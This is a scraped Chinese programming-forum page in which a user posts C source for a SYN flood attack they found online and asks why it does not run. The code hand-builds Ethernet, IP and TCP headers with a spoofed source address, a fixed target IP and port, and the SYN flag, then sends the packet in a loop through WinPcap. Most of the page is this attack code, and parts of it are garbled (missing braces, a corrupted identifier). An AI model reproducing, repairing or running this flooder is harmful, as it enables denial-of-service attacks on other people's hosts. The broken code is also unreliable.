首页 诗词 字典 板报 句子 名言 友答 励志 学校 网站地图
当前位置: 首页 > 教程频道 > .NET > .NET Framework >

关于SYN攻击有关问题

2012-03-03 
关于SYN攻击问题#include iostream.h#include stdlib.h#include stdio.h#include basetsd.h#inclu

关于SYN攻击问题
#include <iostream.h>
#include <stdlib.h>
#include <stdio.h>
#include <basetsd.h>
#include <pcap.h>
#include <bittypes.h>
#include <pcap-bpf.h>
#include <ip6_misc.h>
#include <pcap-stdinc.h>
#include <win32-extensions.h>
#pragma comment(lib,"wpcap")
#pragma comment(lib,"ws2_32")


#define MYIP "172.19.8.110" //伪造的源主机IP地址
#define TAGIP "172.19.8.100" //被攻击主机IP地址
#define TAGPORT "1000" //攻击端口
#define SEQ 0x12121212

/*定义结构体*/
//以太帧头结构体
typedef struct {
UCHAR DestMac[6]; //目的mac地址
UCHAR SrcMac[6]; //源mac地址
UCHAR Etype[2]; //协议类型
}ETH_HEADER;
//定义IP首部
typedef struct {
UCHAR h_verlen; //4位首部长度,4位IP版本号
UCHAR tos; //8位服务类型TOS
USHORT total_len; //16位总长度(字节)
USHORT ident; //16位标识
USHORT frag_and_flags; //3位标志位
UCHAR ttl; //8位生存时间 TTL 
UCHAR proto; //8位协议 (TCP, UDP 或其他) 
USHORT checksum; //16位IP首部校验和
UINT sourceIP; //32位源IP地址 
UINT destIP; //32位目的IP地址 
}IP_HEADER;
//定义TCP伪首部 注意:TCP与UDP有相同的伪头部结构
typedef struct _psdhdr{
ULONG saddr; //源地址
ULONG daddr; //目的地址 
CHAR mbz;
CHAR ptcl; //协议类型
USHORT tcpl; //TCP长度
}PSD_HEADER;
//定义TCP首部
typedef struct _tcphdr{
USHORT th_sport; //16位源端口 
USHORT th_dport; //16位目的端口 
UINT th_seq; //32位序列号 
UINT th_ack; //32位确认号
UCHAR th_lenres; //4位首部长度/6位保留字 
UCHAR th_flag; //6位标志位
USHORT th_win; //16位窗口大小
USHORT th_sum; //16位校验和
USHORT th_urp; //16位紧急数据偏移量
}TCP_HEADER;

/*全局变量声明*/
pcap_t* fp;
//bool syn=true;
ETH_HEADER eth_header;
IP_HEADER ip_header; 
TCP_HEADER tcp_header;
PSD_HEADER psd_header;
UINT tempIp,tempHost;
UCHAR SendBuf[128]={0},tmpBuf[128]={0};
int seq=0;
int ipsz,tcpsz,psdsz,ethsz,itsz,sendsz,ptsz;
USHORT datasize=0;
/* 函数声明 */
//void initAdapt(); //初始化适配器
//void sendSyn(); //发送TCP数据包
void initEth(); //初始化以太帧头
void initIp(); //初始化IP头
void initTcp(); //初始化TCP头
void initPsd(); //初始化TCP伪头
void initHead();  
USHORT checksum(USHORT *buffer, int size); //计算校验和

void main(int argc,char **argv) {
pcap_t *outdesc;
char error[PCAP_ERRBUF_SIZE]={0};
//FILE *capfile;
int caplen,sync;
u_int res;
pcap_send_queue *squeue;
struct pcap_pkthdr *pktheader;
u_char *pktdata;
pcap_if_t *alldevs,*d;
int i,count=0;


/*检查命令行是否有效*/
if(argc<=1 || argc>=4) {
printf("usage: %s number_send s",argv[0]);
return;
}

initHead();
/*设置时间戳
if(argc==3 && argv[2][0]=='s')
sync=TRUE;
else 
sync=FALSE;*/
  
/*取得系统中所有可用pcap_open_live()打开的网络设备的列表*/
if(pcap_findalldevs(&alldevs,error)==-1) {
fprintf(stderr,"Error in pcap_findalldevs:%s\n",error);
return;
}
for(d=alldevs,i=0;i<0;d=d->next,i++);

/*打开发送数据包的适配器*/
if((outdesc=pcap_open_live(d->name,65535,1,1000,error))==NULL) {
fprintf(stderr,"\nError opening adapter:%s\n",error);
return;
}
/*将构造好的数据报放到pktdata数组中,并构造struct pcap_pkthdr结构体*/
pktheader=(struct pcap_pkthdr*)malloc(sizeof(struct pcap_pkthdr));
pktdata=(u_char*)malloc(52);
pktheader->caplen=52;
pktheader->len=52;
pktheader->ts.tv_sec=100;
pktheader->ts.tv_usec=1000;
memcpy(tmpBuf,&psd_header,psdsz); 
memcpy(tmpBuf+psdsz,&tcp_header,tcpsz); 
tcp_header.th_sum=checksum((USHORT *)tmpBuf,ptsz);
memset(tmpBuf,0,ptsz);
memcpy(tmpBuf,&ip_header,ipsz); 
ip_header.checksum=checksum((USHORT *)tmpBuf,ipsz); 
memcpy(tmpBuf,&ip_header,ipsz);
memcpy(tmpBuf+ipsz,&tcp_header,tcpsz);


memcpy(pktdata,ð_header,ethsz);
memcpy(pktdata+ethsz,tmpBuf,itsz);
caplen=512;

/*将构造好的数据报放到发送队列中*/
squeue = pcap_sendqueue_alloc(caplen);
if(pcap_sendqueue_queue(squeue,pktheader,pktdata)==-1) {
printf("Waring: packet buffer too small,not all the packet will be sent.\n");
}

//发送数据
while(count<atoi(argv[1])) {
count++;
res=pcap_sendqueue_transmit(outdesc,squeue,sync);

if(res<squeue->len) {
printf("An error occurred sending the packet:%s.Only %d bytes were sent\n",error,res);
}
else printf("%d packet send succussfully!\n",count);
}//

//释放存放数据包数组的内存
pcap_sendqueue_destroy(squeue);
free(pktheader);
//printf("test\n");
return;
}

//计算校验和
inline USHORT checksum(USHORT *buffer, int size) 

unsigned long cksum=0; 
while(size >1) { 
cksum+=*buffer++; 
size -=sizeof(USHORT); 

if(size ) { 
cksum += *(UCHAR*)buffer; 

cksum = (cksum >> 16) + (cksum & 0xffff); 
cksum += (cksum >>16); 
return (USHORT)(~cksum); 

//对数据报个头部进行初始化
void initHead()
{
initEth();
initIp();
initTcp();
initPsd();
ipsz=sizeof(ip_header);
tcpsz=sizeof(tcp_header);
ethsz=sizeof(eth_header);
psdsz=sizeof(psd_header);
ptsz=psdsz+tcpsz;
itsz=ipsz+tcpsz;
sendsz=itsz+ethsz;
}
//初始化以太帧头部
void initEth()
{
UCHAR sMac[6]={0x00,0x00,0x00,0x00,0x00,0x00}, //源MAC地址
dMac[6]={0x00,0x0b,0x2f,0x25,0xde,0xe6}; //172.19.8.100
memcpy(eth_header.DestMac,dMac,6);
eth_header.Etype[0]=0x08;
eth_header.Etype[1]=0x00;
};
//初始化IP头部
void initIp()
{
tempIp=inet_addr(MYIP);
tempHost=ntohl(tempIp);
ip_header.h_verlen=(4<<4|sizeof(ip_header)/sizeof(ULONG));
ip_header.total_len=htons(sizeof(ip_header)+sizeof(tcp_header));
ip_header.ident=1;
ip_header.frag_and_flags=0;
ip_header.ttl=128;
ip_header.proto=IPPROTO_TCP;
ip_header.checksum=0;
ip_header.sourceIP=htonl(tempHost);
ip_header.destIP=inet_addr(TAGIP);
};
//初始化TCP头部
void initTcp()
{
tcp_header.th_sport=htons(6666); //源端口
tcp_header.th_dport=htons(atoi(TAGPORT)); //目的端口
tcp_header.th_seq=htonl(SEQ);
tcp_header.th_ack=0;
tcp_header.th_lenres=(sizeof(tcp_header)/4<<4|0);
tcp_header.th_flag=2;
tcp_header.th_urp=0;
tcp_header.th_sum=0;
tcp_header.th_win=htons(16384);
};
//初始化TCP伪头部
void initPsd()
{
psd_header.saddr=ip_header.sourceIP;
psd_header.daddr=ip_header.destIP;
psd_header.mbz=0; //取零
psd_header.ptcl=IPPROTO_TCP;
psd_header.tcpl=htons(sizeof(tcp_header));
};


上面上在网上找的一个SYN 攻击的代码, 我在自己机子上调的时候发现问题如下:
1./*检查命令行是否有效*/因为我运行的时候发现这个argc为1,所以到那里就不运行了.
2.在发送数据中,那个argv数组,它只有argv[0],而这个argv[0]是所生成的.EXE的位置,也运行不下去了,后来我取消while 循环,只让它运行一次,发现这个res返回值为0,还是运行不成功.
  麻烦各位解决一下

[解决办法]
帮顶起!!!!

热点排行